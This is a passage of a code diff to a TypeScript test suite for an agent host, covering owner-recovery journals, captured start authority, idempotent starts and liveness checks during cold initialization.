+    const ownerCopied = cDeferred();
+    const ownerRelease = cDeferred();
+    const nativeGet = fixture.stateStorage.get.bind(fixture.stateStorage);
+    vi.spyOn(fixture.stateStorage, 'get').mockImplementation(
+      async <T>(key: string) => {
+        if (key === TEST_OWNER_RECOVERY_KEY) {
+          ownerCopied.resolve();
+          await ownerRelease.promise;
+        }
+        return nativeGet<T>(key);
+      },
+    );
+    const scope = { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' };
+    const originalInit = scope.init;
+    const input: ThreadAgentStartInput = {
+      ...C_START_INPUT,
+      entryPath,
+      threaded,
+      idempotencyKey: 'original-key',
+      scheduleId: scheduled ? SCHEDULE_ID : undefined,
+      dispatchId: scheduled ? DISPATCH_ID : undefined,
+      scheduleDispatchLease: scheduled ? 'executing' : undefined,
+      safeContext: { note: 'original' },
+      providerOptions: undefined,
+    };
+    const writes: Array<[string, unknown]> = [];
+    const nativePut = fixture.stateStorage.put.bind(fixture.stateStorage);
+    vi.spyOn(fixture.stateStorage, 'put').mockImplementation(
+      async (key, value) => {
+        writes.push([key, structuredClone(value)]);
+        await nativePut(key, value);
+      },
+    );
+    const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll');
+    const pending = fixture.host.start(scope, input);
+    const outcome = pending.then(
+      (result) => ({ result }),
+      (error: unknown) => ({ error }),
+    );
+    try {
+      await entered.promise;
+      Object.assign(scope, {
+        principal: { kind: 'human', id: 'replacement', role: 'admin' },
+        mutationEpoch: 3,
+        threadId: 'replacement',
+        deploymentTag: 'replacement',
+        init: {},
+      });
+      Object.assign(input, {
+        agentId: 'replacement',
+        threadId: 'replacement',
+        resourceId: 'replacement',
+        runId: 'replacement',
+        prompt: 'replacement',
+        messages: ['replacement'],
+        entryPath: 'signal.resume',
+        threaded: !threaded,
+        scheduleId: 'replacement',
+        dispatchId: 'replacement',
+        scheduleDispatchLease: undefined,
+        idempotencyKey: 'replacement',
+        safeContext: { note: 'replacement' },
+        providerOptions: { replacement: true },
+      });
+      release.resolve();
+      const reached = await Promise.race([
+        ownerCopied.promise.then(() => true),
+        outcome.then(() => false),
+      ]);
+      expect(
+        reached,
+        'captured scope reaches storage after authorization',
+      ).toBe(true);
+      owner.id = 'replacement-owner';
+    } finally {
+      release.resolve();
+      ownerRelease.resolve();
+      await outcome;
+    }
+    const result = await pending;
+    expect(mocked.stream).toHaveBeenCalledOnce();
+    const args = mocked.stream.mock.calls[0];
+    expect(args).toHaveLength(8);
+    const authority = args?.[7];
+    expect(args?.[0]).toBe(scheduled ? 'scheduled' : 'original');
+    expect(args?.[1]).toMatchObject({
+      runId: 'acme_run',
+      disableBackgroundTasks: true,
+      maxSteps: 1,
+    });
+    expect(args?.[1].memory).toEqual(
+      threaded ? { thread: 'acme_thread', resource: RESOURCE_ID } : undefined,
+    );
+    expect(args?.slice(2, 4)).toEqual([principal.id, principal.kind]);
+    expect(args?.[4]).toEqual(expect.any(String));
+    expect(args?.[5]).toEqual(
+      scheduled
+        ? { scheduleId: SCHEDULE_ID, dispatchId: DISPATCH_ID }
+        : undefined,
+    );
+    expect(args?.[6]).toBe('original-key');
+    expect(authority).toEqual({
+      mutationEpoch: 2,
+      startIdentity: {
+        owner: { kind: principal.kind, id: principal.id },
+        target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+      },
+      agentStart: { threaded },
+      onPreparedStartIdentity: expect.any(Function),
+      runOwnerGuard: { owner: HUMAN_OWNER, reservationToken: args?.[4] },
+    });
+    expect(Object.hasOwn(authority, 'onPreparedStartIdentity')).toBe(true);
+    expect(reserve.mock.calls[0]).toEqual([
+      [
+        { kind: 'thread', resourceId: 'acme_thread' },
+        { kind: 'resource', resourceId: RESOURCE_ID },
+        { kind: 'run', resourceId: 'acme_run' },
+      ],
+      HUMAN_OWNER,
+      args?.[4],
+    ]);
+    const journals = writes.filter(([key]) =>
+      key.startsWith(OWNER_RECOVERY_PREFIX),
+    );
+    expect(journals).toHaveLength(2);
+    expect(journals[0]?.[1]).toMatchObject({
+      version: 2,
+      phase: 'preparing',
+      agentId: 'writer',
+      threadId: 'acme_thread',
+      resourceId: RESOURCE_ID,
+      runId: 'acme_run',
+      owner: HUMAN_OWNER,
+      token: args?.[4],
+      threaded,
+      bindingPreexisting: scheduled && threaded,
+      runRecord: {
+        version: 2,
+        agentId: 'writer',
+        principal,
+        originEntryPath: entryPath,
+      },
+    });
+    expect(journals[1]?.[1]).toMatchObject({
+      phase: 'prepared-unfenced',
+      execution: { tablePrefix: null, startToken: 'test-generation' },
+    });
+    expect(writes).toContainEqual([
+      TEST_RUN_RECORD_KEY,
+      { version: 2, agentId: 'writer', principal, originEntryPath: entryPath },
+    ]);
+    expect(result).toMatchObject({
+      agentId: 'writer',
+      threadId: 'acme_thread',
+      resourceId: RESOURCE_ID,
+    });
+    expect(fixture.moduleScopes[0]).toMatchObject({
+      threadId: 'acme_thread',
+      deploymentTag: 'acme',
+      init: originalInit,
+    });
+    expect(Object.isFrozen(scope)).toBe(false);
+    expect(Object.isFrozen(input)).toBe(false);
+    expect(Object.isFrozen(owner)).toBe(false);
+  });
+
+  it.each([
+    'alternate',
+    'second-throw',
+  ] as const)('C direct host captures every declared scope and input getter once: %s', async (mode) => {
+    const fixture = harness();
+    const scope = cObserved(
+      { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' },
+      mode,
+    );
+    const input = cObserved<ThreadAgentStartInput>(
+      {
+        ...C_START_INPUT,
+        messages: undefined,
+        threaded: false,
+        scheduleId: undefined,
+        dispatchId: undefined,
+        scheduleDispatchLease: undefined,
+        safeContext: { note: 'original' },
+        providerOptions: undefined,
+        idempotencyKey: 'original-key',
+      },
+      mode,
+    );
+    await fixture.host.start(scope.source, input.source);
+    expect([...scope.counts.values()]).toEqual(
+      Object.keys(scope.values).map(() => 1),
+    );
+    expect([...input.counts.values()]).toEqual(
+      Object.keys(input.values).map(() => 1),
+    );
+    expect(mocked.stream.mock.calls[0]).toHaveLength(8);
+    expect(mocked.stream.mock.calls[0]?.[7].mutationEpoch).toBe(2);
+    expect(mocked.stream.mock.calls[0]?.[7].agentStart).toEqual({
+      threaded: false,
+    });
+  });
+
+  it.each([
+    'principal',
+    'mutationEpoch',
+    'threadId',
+    'deploymentTag',
+    'init',
+    'agentId',
+    'runId',
+    'resourceId',
+    'prompt',
+    'messages',
+    'entryPath',
+    'threaded',
+    'scheduleId',
+    'dispatchId',
+    'scheduleDispatchLease',
+    'safeContext',
+    'providerOptions',
+    'idempotencyKey',
+  ])('C direct host preserves first capture fault without effects: %s', async (key) => {
+    const fixture = harness();
+    const scope = { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' };
+    const input = { ...C_START_INPUT };
+    const fault = new Error(`first fault ${key}`);
+    Object.defineProperty(
+      [
+        'principal',
+        'mutationEpoch',
+        'threadId',
+        'deploymentTag',
+        'init',
+      ].includes(key)
+        ? scope
+        : input,
+      key,
+      {
+        get() {
+          throw fault;
+        },
+      },
+    );
+    const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll');
+    await expect(fixture.host.start(scope, input)).rejects.toBe(fault);
+    expect(mocked.stream).not.toHaveBeenCalled();
+    expect(reserve).not.toHaveBeenCalled();
+    expect(fixture.state.size).toBe(0);
+    expect(fixture.moduleScopes).toEqual([]);
+  });
+});
+
 describe('createThreadAgentHost owner recovery', () => {
   it('persists and arms the recovery journal before reserving ownership', async () => {
     const { host, scope, state, resourceAccess, alarmAt } = harness();
@@ -578,9 +1457,9 @@ describe('createThreadAgentHost owner recovery', () => {
     const recover = vi.spyOn(scope.init.runtime, 'recoverStartAttempt');
     const settle = vi.spyOn(resourceAccess, 'settleReservation');
 
-    await expect(
-      host.recoverOwnership(scope.init.runtime, scope.threadId),
-    ).rejects.toThrow('stored agent owner recovery is malformed');
+    await expect(host.recoverOwnership(scope)).rejects.toThrow(
+      'stored agent owner recovery is malformed',
+    );
 
     expect(recover).not.toHaveBeenCalled();
     expect(settle).not.toHaveBeenCalled();
@@ -599,7 +1478,9 @@ describe('createThreadAgentHost owner recovery', () => {
     const recover = vi.spyOn(scope.init.runtime, 'recoverStartAttempt');
     const settle = vi.spyOn(resourceAccess, 'settleReservation');
 
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await expect(host.recoverOwnership(scope)).rejects.toThrow(
+      'agent owner recovery changed',
+    );
 
     expect(recover).not.toHaveBeenCalled();
     expect(settle).not.toHaveBeenCalled();
@@ -609,7 +1490,8 @@ describe('createThreadAgentHost owner recovery', () => {
 
   it('rolls back a pre-snapshot attempt and its attempt-created metadata', async () => {
     const { host, scope, state, resources, alarmAt } = harness();
-    const recovery = ownerRecovery('acme_run');
+    const recovery = ownerRecovery('acme_run', { phase: 'preparing' });
+    delete recovery.execution;
     seedRecoveryState(state, 'acme_run', recovery);
     await resources.reserveAll(
       [
@@ -621,7 +1503,7 @@ describe('createThreadAgentHost owner recovery', () => {
       'token-acme_run',
     );
 
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await host.recoverOwnership(scope);
 
     expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
     expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false);
@@ -639,7 +1521,9 @@ describe('createThreadAgentHost owner recovery', () => {
     await resources.claim('resource', RESOURCE_ID, owner);
     const recovery = ownerRecovery('acme_run', {
       bindingPreexisting: true,
+      phase: 'preparing',
     });
+    delete recovery.execution;
     seedRecoveryState(state, 'acme_run', recovery);
     await resources.reserveAll(
       [
@@ -651,7 +1535,7 @@ describe('createThreadAgentHost owner recovery', () => {
       'token-acme_run',
     );
 
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await host.recoverOwnership(scope);
 
     expect(state.has(THREAD_BINDING_KEY)).toBe(true);
     expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false);
@@ -677,7 +1561,7 @@ describe('createThreadAgentHost owner recovery', () => {
       'token-acme_run',
     );
 
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await host.recoverOwnership(scope);
 
     expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
     expect(state.has(TEST_RUN_RECORD_KEY)).toBe(true);
@@ -716,9 +1600,9 @@ describe('createThreadAgentHost owner recovery', () => {
       'token-acme_run',
     );
 
-    await expect(
-      host.recoverOwnership(scope.init.runtime, scope.threadId),
-    ).rejects.toBeInstanceOf(RunStateUnreadableError);
+    await expect(host.recoverOwnership(scope)).rejects.toBeInstanceOf(
+      RunStateUnreadableError,
+    );
 
     // #then — fail closed: an unreadable read is not evidence the attempt was
     // abandoned, so nothing is deleted, nothing is settled, and the journal
@@ -731,7 +1615,9 @@ describe('createThreadAgentHost owner recovery', () => {
   });
 
   it('keeps an unthreaded nonterminal journal armed, then releases ephemeral claims at terminal state', async () => {
-    const { host, scope, state, resources, alarmAt, setSummary } = harness();
+    const { host, scope, state, resources, alarmAt, setSummary, setSnapshot } =
+      harness();
+    setSnapshot({ memory: false });
     const owner = { kind: 'human' as const, id: 'operator-1' };
     const recovery = ownerRecovery('acme_run', { threaded: false });
     seedRecoveryState(state, 'acme_run', recovery, false);
@@ -746,7 +1632,7 @@ describe('createThreadAgentHost owner recovery', () => {
     );
     setSummary({ runId: 'acme_run', status: 'suspended' });
 
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await host.recoverOwnership(scope);
 
     expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true);
     expect(alarmAt()).toBeDefined();
@@ -754,7 +1640,7 @@ describe('createThreadAgentHost owner recovery', () => {
     expect(await resources.owner('resource', RESOURCE_ID)).toEqual(owner);
 
     setSummary({ runId: 'acme_run', status: 'success' });
-    await host.recoverOwnership(scope.init.runtime, scope.threadId);
+    await host.recoverOwnership(scope);
 
     expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
     expect(state.has(TEST_RUN_RECORD_KEY)).toBe(false);
@@ -799,14 +1685,14 @@ describe('createThreadAgentHost owner recovery', () => {
           entryPath: 'http.start',
         }),
       ).resolves.toMatchObject({ runId: 'acme_run' });
-      expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true);
+      expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
       expect(alarmAt()).toBeDefined();
       expect(await committed.owner('run', 'acme_run')).toEqual({
         kind: 'human',
         id: 'operator-1',
       });
 
-      await host.recoverOwnership(scope.init.runtime, scope.threadId);
+      await host.recoverOwnership(scope);
 
       expect(state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
       expect(alarmAt()).toBeUndefined();
@@ -856,7 +1742,7 @@ describe('createThreadAgentHost owner recovery', () => {
       if (key.startsWith(OWNER_RECOVERY_PREFIX)) journalWritten();
     });
 
-    const recovery = host.recoverOwnership(scope.init.runtime, scope.threadId);
+    const recovery = host.recoverOwnership(scope);
     await finalStarted;
     const start = host.start(scope, {
       agentId: 'writer',
@@ -919,6 +1805,7 @@ describe('createThreadAgentHost', () => {
       discardScheduleDispatch: (scheduleId, dispatchId, runId) =>
         schedules.discardAgentScheduleDispatch(scheduleId, dispatchId, runId),
     });
+    fixture.setSummary(summary);
     fixture.state.set(TEST_RUN_RECORD_KEY, {
       version: 2,
       agentId: 'writer',
@@ -1011,6 +1898,7 @@ describe('createThreadAgentHost', () => {
       },
       discardScheduleDispatch,
     });
+    fixture.setSummary(summary);
     fixture.state.set(TEST_RUN_RECORD_KEY, {
       version: 2,
       agentId: 'writer',
@@ -1096,17 +1984,11 @@ describe('createThreadAgentHost', () => {
         fixture.scope,
       ),
     ).rejects.toThrow('cleanup marker response lost');
-    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
     await expect(
       fixture.resources.owner('run', 'acme_run'),
     ).resolves.toBeUndefined();
 
-    fixture.state.set(TEST_RUN_RECORD_KEY, {
-      version: 2,
-      agentId: 'writer',
-      principal: fixture.scope.principal,
-      originEntryPath: 'http.start',
-    });
     const replay = await fixture.host.route(
       new Request(`${terminateUrl}&replay=1`, { method: 'POST' }),
       fixture.scope,
@@ -1145,6 +2027,7 @@ describe('createThreadAgentHost', () => {
         completeTerminalCleanup,
       },
     });
+    fixture.setSummary(summary);
     seedRecoveryState(
       fixture.state,
       'acme_run',
@@ -1166,8 +2049,7 @@ describe('createThreadAgentHost', () => {
     ).rejects.toThrow('stored agent owner recovery is malformed');
 
     expect(settleReservation).not.toHaveBeenCalled();
-    expect(release).toHaveBeenCalledOnce();
-    expect(release).toHaveBeenCalledWith('run', 'acme_run', HUMAN_OWNER);
+    expect(release).not.toHaveBeenCalled();
     await expect(
       resourceAccess.owner('thread', 'acme_thread'),
     ).resolves.toEqual(HUMAN_OWNER);
@@ -1366,7 +2248,7 @@ describe('createThreadAgentHost', () => {
       principal: { kind: 'human', id: 'operator-2', role: 'operator' },
     };
     await expect(host.start(secondScope, input)).rejects.toMatchObject({
-      status: 409,
+      status: 503,
     });
     expect(state.get('flowsafe:agent-run:v1:acme_run')).toMatchObject({
       principal: { id: 'operator-1' },
@@ -1400,9 +2282,8 @@ describe('createThreadAgentHost', () => {
       results.filter((result) => result.status === 'fulfilled'),
     ).toHaveLength(1);
     const rejected = results.find((result) => result.status === 'rejected');
-    expect(rejected).toMatchObject({
-      reason: { status: 409, message: 'thread is bound to another agent' },
-    });
+    expect(mocked.stream).toHaveBeenCalledOnce();
+    expect(rejected).toMatchObject({ reason: { status: 409 } });
     const binding = structuredClone(
       state.get('flowsafe:agent-thread-binding:v1'),
     ) as { agentId: string };
@@ -1605,7 +2486,7 @@ describe('createThreadAgentHost', () => {
     expect(approvalScopes).toHaveLength(1);
   });
 
-  it('removes run metadata when start fails and authoritative state is absent', async () => {
+  it('retains prepared-unfenced metadata when failed start has no durable outcome', async () => {
     const { host, scope, state, setSummary } = harness();
     setSummary(null);
     mocked.stream.mockRejectedValue(new Error('model unavailable'));
@@ -1619,7 +2500,7 @@ describe('createThreadAgentHost', () => {
         entryPath: 'http.start',
       }),
     ).rejects.toThrow('model unavailable');
-    expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(false);
+    expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(true);
   });
 
   it('keeps run metadata and names the failure when a failed start cannot read authoritative state', async () => {
@@ -1628,7 +2509,7 @@ describe('createThreadAgentHost', () => {
     // it could not reach.
     const { host, scope, state, alarmAt } = harness(['writer'], {
       runtime: {
-        recoverStartAttempt: vi.fn(async () => {
+        authoritativeStartState: vi.fn(async () => {
           throw new RunStateUnreadableError('durable-agentic-loop', 'acme_run');
         }),
       },
@@ -1661,9 +2542,7 @@ describe('createThreadAgentHost', () => {
 
     // #then — and the failure is named rather than swallowed, because it is
     // the reason the metadata above survives and a wake is left to retry it.
-    expect(logged).toContain(
-      'interrupted start could not read authoritative state',
-    );
+    expect(logged).toContain('agent owner recovery failed');
     expect(state.has('flowsafe:agent-run:v1:acme_run')).toBe(true);
     expect(alarmAt()).toBeDefined();
   });
@@ -1694,6 +2573,18 @@ describe('createThreadAgentHost', () => {
       // positionally on every start, and undefined on one that has neither.
       undefined,
       undefined,
+      {
+        startIdentity: {
+          owner: HUMAN_OWNER,
+          target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+        },
+        agentStart: { threaded: false },
+        onPreparedStartIdentity: expect.any(Function),
+        runOwnerGuard: {
+          owner: HUMAN_OWNER,
+          reservationToken: expect.any(String),
+        },
+      },
     );
   });
 
@@ -1751,9 +2642,9 @@ describe('createThreadAgentHost', () => {
     );
 
     expect(response?.status).toBe(200);
-    // Five host arguments plus the two trailing optionals (schedule dispatch,
-    // reserved idempotency key), both undefined for this start.
-    expect(mocked.stream.mock.calls.at(-1)).toHaveLength(7);
+    // Five host arguments, two undefined optionals (schedule dispatch and
+    // reserved idempotency key), then the required captured authority.
+    expect(mocked.stream.mock.calls.at(-1)).toHaveLength(8);
     expect(discardScheduleDispatch).not.toHaveBeenCalled();
     await expect(
       fixture.resources.owner('run', 'acme_run'),
@@ -2004,6 +2895,18 @@ describe('createThreadAgentHost', () => {
       expect.any(String),
       undefined,
       undefined,
+      {
+        startIdentity: {
+          owner: { kind: 'service', id: 'webhook-dispatcher' },
+          target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+        },
+        agentStart: { threaded: true },
+        onPreparedStartIdentity: expect.any(Function),
+        runOwnerGuard: {
+          owner: { kind: 'service', id: 'webhook-dispatcher' },
+          reservationToken: expect.any(String),
+        },
+      },
     );
     await expect(
       fixture.resources.owner('run', 'acme_service_run'),
@@ -2237,6 +3140,18 @@ describe('createThreadAgentHost', () => {
       expect.any(String),
       undefined,
       undefined,
+      {
+        startIdentity: {
+          owner: { kind: 'system', id: 'signal-dispatcher' },
+          target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+        },
+        agentStart: { threaded: true },
+        onPreparedStartIdentity: expect.any(Function),
+        runOwnerGuard: {
+          owner: HUMAN_OWNER,
+          reservationToken: expect.any(String),
+        },
+      },
     );
     await expect(
       fixture.resources.owner('run', 'acme_signal_wake'),
@@ -2377,7 +3292,7 @@ describe('createThreadAgentHost', () => {
     expect(await resources.owner('run', 'acme_run')).toBeUndefined();
   });
 
-  it('rejects a snapshot whose thread correlation does not match the addressed DO', async () => {
+  it('keeps contradictory snapshot correlation unreadable', async () => {
     const { host, scope, setSnapshot } = harness();
     await host.start(scope, {
       agentId: 'writer',
@@ -2398,7 +3313,7 @@ describe('createThreadAgentHost', () => {
         ),
         scope,
       ),
-    ).rejects.toMatchObject({ status: 404 });
+    ).rejects.toBeInstanceOf(RunStateUnreadableError);
   });
 
   it('rehydrates a threaded approval resume with the validated memory binding', async () => {
@@ -3445,3 +4360,3373 @@ describe('createThreadAgentHost automated entry', () => {
     );
   });
 });
+
+describe('createThreadAgentHost saved owner journal presence', () => {
+  it.each(
+    ['start', 'schedule status', 'dispatch status'].flatMap((entry) =>
+      [null, false, 0, ''].map((journal) => ({ entry, journal })),
+    ),
+  )('retains a malformed journal before $entry ($journal)', async ({
+    entry,
+    journal,
+  }) => {
+    const fixture = harness();
+    if (entry !== 'start') {
+      fixture.setSummary({ runId: 'acme_run', status: 'suspended' });
+      fixture.state.set(THREAD_BINDING_KEY, {
+        version: 1,
+        agentId: 'writer',
+        resourceId: RESOURCE_ID,
+      });
+      fixture.state.set(TEST_RUN_RECORD_KEY, {
+        version: 2,
+        agentId: 'writer',
+        principal: fixture.scope.principal,
+        originEntryPath: 'http.start',
+      });
+    }
+    fixture.state.set(TEST_OWNER_RECOVERY_KEY, journal);
+    const before = structuredClone(fixture.state);
+    const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll');
+    const observation = vi.spyOn(
+      fixture.scope.init.runtime,
+      'authoritativeStartState',
+    );
+    const operation =
+      entry === 'start'
+        ? fixture.host.start(fixture.scope, C_START_INPUT)
+        : entry === 'schedule status'
+          ? fixture.host.scheduleDispatchStatus(fixture.scope, {
+              agentId: 'writer',
+              resourceId: RESOURCE_ID,
+              runId: 'acme_run',
+            })
+          : fixture.host.route(
+              new Request(
+                `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}&dispatch=1`,
+              ),
+              fixture.scope,
+            );
+    const outcome = await operation.catch((error: unknown) => error);
+    expect(fixture.state).toEqual(before);
+    expect(reserve).not.toHaveBeenCalled();
+    expect(mocked.stream).not.toHaveBeenCalled();
+    expect(observation).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it('starts when the owner journal is absent', async () => {
+    const fixture = harness();
+    await expect(
+      fixture.host.start(fixture.scope, C_START_INPUT),
+    ).resolves.toMatchObject({ summary: { status: 'success' } });
+    expect(mocked.stream).toHaveBeenCalledOnce();
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+  });
+});
+
+describe('FS8 D3 host shares cold wrapper initialization', () => {
+  async function coldInitializationFixture() {
+    const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+      '@mastra/core/mastra',
+    );
+    const breakwater = await vi.importActual<
+      typeof import('@proofoftech/breakwater')
+    >('@proofoftech/breakwater');
+    mocked.actualFactory = true;
+    mocked.actualAgent = breakwater.createGuardedAgent({
+      id: 'writer',
+      name: 'Writer',
+      instructions: 'Unused cold initialization agent.',
+      model: 'openai/gpt-4o-mini',
+      allowedRoles: ['operator'],
+      policies: [],
+      audit: new breakwater.AuditLogger(),
+      maxSteps: 1,
+      toolChoice: 'auto',
+    });
+    mocked.mastra.mockImplementation(
+      (configuration) => new core.Mastra(configuration),
+    );
+    const sql = openSqlite() as ReturnType<typeof openSqlite> & {
+      close(): void;
+    };
+    onTestFinished(() => sql.close());
+    const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+      ResourceOwnershipDatabase;
+    const storage = createD1Storage({ binding });
+    await storage.init();
+    const fence = new ExecutionFenceStore(binding);
+    await fence.seed('draining');
+    const { StartIdempotencyStore, beginIdempotentStart } = await import(
+      '../do-runner/start-idempotency.js'
+    );
+    const reservations = new StartIdempotencyStore(binding);
+    const provider = vi.fn(() => {
+      throw new Error('unexpected request-context provider entry');
+    });
+    const app = init(
+      { storage },
+      {
+        executionFence: fence,
+        startIdempotency: reservations,
+        requestContextForRun: provider,
+      },
+    );
+    const resources = new D1ResourceOwnershipStore(binding);
+    const fixture = harness(['writer'], {
+      init: app,
+      storage,
+      resourceAccess: resources,
+    });
+    const catalogGate = cDeferred();
+    const buildModules = vi.fn(async () => {
+      await catalogGate.promise;
+      return [
+        {
+          meta: {
+            id: 'writer',
+            title: 'Writer',
+            description: 'Writes records',
+            allowedRoles: ['operator'] as const,
+          },
+          agent: guarded(),
+        },
+      ];
+    });
+    const hostStorage = vi.fn(() => storage);
+    const createHost = () =>
+      createThreadAgentHost({
+        buildModules,
+        storage: hostStorage,
+        stateStorage: () => fixture.stateStorage,
+        resourceAccess: () => resources,
+        approvalService: () =>
+          ({
+            list: async () => [],
+            createAsPrincipal: async () => {
+              throw new Error('unexpected approval creation');
+            },
+          }) as unknown as ApprovalService,
+      });
+    const host = createHost();
+    const replay = (scope = fixture.scope) =>
+      host.route(
+        new Request(
+          `https://thread/_flowsafe/agent-host/runs/writer/acme_run?resourceId=${RESOURCE_ID}&replay=1`,
+        ),
+        scope,
+      );
+    const liveness = (agentId = 'writer', scope = fixture.scope) =>
+      host.route(
+        new Request(
+          `https://thread/_flowsafe/agent-host/runs/${agentId}/acme_run/start-liveness`,
+        ),
+        scope,
+      );
+    return {
+      ...fixture,
+      host,
+      app,
+      createHost,
+      fence,
+      resources,
+      storage,
+      reservations,
+      beginIdempotentStart,
+      provider,
+      catalogGate,
+      buildModules,
+      hostStorage,
+      replay,
+      liveness,
+      registerAgent: vi.spyOn(app.runtime, 'registerAgent'),
+      start: vi.spyOn(app.runtime, 'start'),
+    };
+  }
+
+  it('queries the addressed cached wrapper for liveness without reading storage', async () => {
+    const fixture = harness(['writer', 'reviewer']);
+    fixture.state.set(THREAD_BINDING_KEY, {
+      version: 1,
+      agentId: 'writer',
+      resourceId: RESOURCE_ID,
+    });
+    await fixture.host.resolveBoundAgent(fixture.scope, {
+      agentId: 'writer',
+      entryPath: 'http.start',
+    });
+    const get = vi.spyOn(fixture.stateStorage, 'get');
+    const list = vi.spyOn(fixture.stateStorage, 'list');
+    mocked.isRunLive.mockImplementation((agentId) => agentId === 'writer');
+    for (const agentId of ['writer', 'reviewer']) {
+      const response = await fixture.host.route(
+        new Request(
+          `https://thread/_flowsafe/agent-host/runs/${agentId}/acme_live/start-liveness`,
+        ),
+        fixture.scope,
+      );
+      expect(await response?.json()).toEqual({ live: agentId === 'writer' });
+    }
+    expect(mocked.isRunLive.mock.calls).toEqual([
+      ['writer', 'acme_live'],
+      ['reviewer', 'acme_live'],
+    ]);
+    expect(get).not.toHaveBeenCalled();
+    expect(list).not.toHaveBeenCalled();
+    expect(fixture.moduleScopes).toHaveLength(1);
+    expect(fixture.storageScopes).toHaveLength(1);
+  });
+
+  it('answers cold liveness without waiting for a held catalog or reading storage', async () => {
+    const fixture = await coldInitializationFixture();
+    const get = vi.spyOn(fixture.stateStorage, 'get');
+    const list = vi.spyOn(fixture.stateStorage, 'list');
+    const before = new Map(fixture.state);
+    const cold = await fixture.liveness();
+    expect(await cold?.json()).toEqual({ live: false });
+    expect(fixture.buildModules).not.toHaveBeenCalled();
+    const replay = fixture.replay();
+    try {
+      const response = await Promise.race([
+        fixture.liveness(),
+        new Promise<undefined>((resolve) => setTimeout(resolve, 0)),
+      ]);
+      expect(fixture.hostStorage).not.toHaveBeenCalled();
+      expect(fixture.registerAgent).not.toHaveBeenCalled();
+      expect(get).not.toHaveBeenCalled();
+      expect(list).not.toHaveBeenCalled();
+      expect(response).toBeInstanceOf(Response);
+      expect(await response?.json()).toEqual({ live: false });
+      await expect(
+        fixture.liveness('writer', {
+          ...fixture.scope,
+          init: { ...fixture.app },
+        }),
+      ).rejects.toThrow(
+        'thread agent host cannot be shared across DO instances',
+      );
+      expect(fixture.state).toEqual(before);
+    } finally {
+      fixture.catalogGate.resolve();
+      await replay;
+    }
+  });
+
+  it.each([
+    'private replay',
+    'bound-agent lookup',
+  ])('shares a held catalog between a private replay and %s', async (consumer) => {
+    const fixture = await coldInitializationFixture();
+    if (consumer === 'bound-agent lookup')
+      fixture.state.set(THREAD_BINDING_KEY, {
+        version: 1,
+        agentId: 'writer',
+        resourceId: RESOURCE_ID,
+      });
+    const before = new Map(fixture.state);
+    const replay = fixture.replay();
+    const concurrent =
+      consumer === 'private replay'
+        ? fixture.replay()
+        : fixture.host.resolveBoundAgent(fixture.scope, {
+            agentId: 'writer',
+            entryPath: 'http.start',
+          });
+    const outcomes = Promise.allSettled([replay, concurrent]);
+    await new Promise<void>((resolve) => setTimeout(resolve, 0));
+    expect(fixture.buildModules).toHaveBeenCalledOnce();
+    expect(fixture.hostStorage).not.toHaveBeenCalled();
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    fixture.catalogGate.resolve();
+    const [first, second] = await outcomes;
+    expect(fixture.hostStorage).toHaveBeenCalledOnce();
+    expect(fixture.registerAgent).toHaveBeenCalledOnce();
+    expect(first).toMatchObject({
+      status: 'fulfilled',
+      value: { status: 404 },
+    });
+    expect(second).toMatchObject({
+      status: 'fulfilled',
+      value:
+        consumer === 'private replay'
+          ? { status: 404 }
+          : { agentId: 'writer', resourceId: RESOURCE_ID },
+    });
+    expect(fixture.app.runtime.workflowIds()).toEqual(['durable-agentic-loop']);
+    expect(fixture.state).toEqual(before);
+    expect(fixture.start).not.toHaveBeenCalled();
+    expect(fixture.provider).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'cached',
+    'reconstructed',
+  ] as const)('releases and reclaims a keyed start overlapping a cold private replay (%s host)', async (hostKind) => {
+    const fixture = await coldInitializationFixture();
+    const { globalRunRegistry } = await vi.importActual<
+      typeof import('@mastra/core/agent/durable')
+    >('@mastra/core/agent/durable');
+    const request = {
+      key: 'cold-key',
+      owner: HUMAN_OWNER,
+      targetKind: 'agent' as const,
+      targetId: 'writer',
+      threadId: fixture.scope.threadId,
+      mintRunId: () => 'acme_run',
+    };
+    let retryHost = fixture.host;
+    let retryScope = fixture.scope;
+    let retryStart = fixture.start;
+    let retryRegisterAgent = fixture.registerAgent;
+    const surface = {
+      persisted: async () => undefined,
+      live: async () => {
+        const response = await retryHost.route(
+          new Request(
+            'https://thread/_flowsafe/agent-host/runs/writer/acme_run/start-liveness',
+          ),
+          retryScope,
+        );
+        expect(response?.status).toBe(200);
+        const result = (await response?.json()) as { live: boolean };
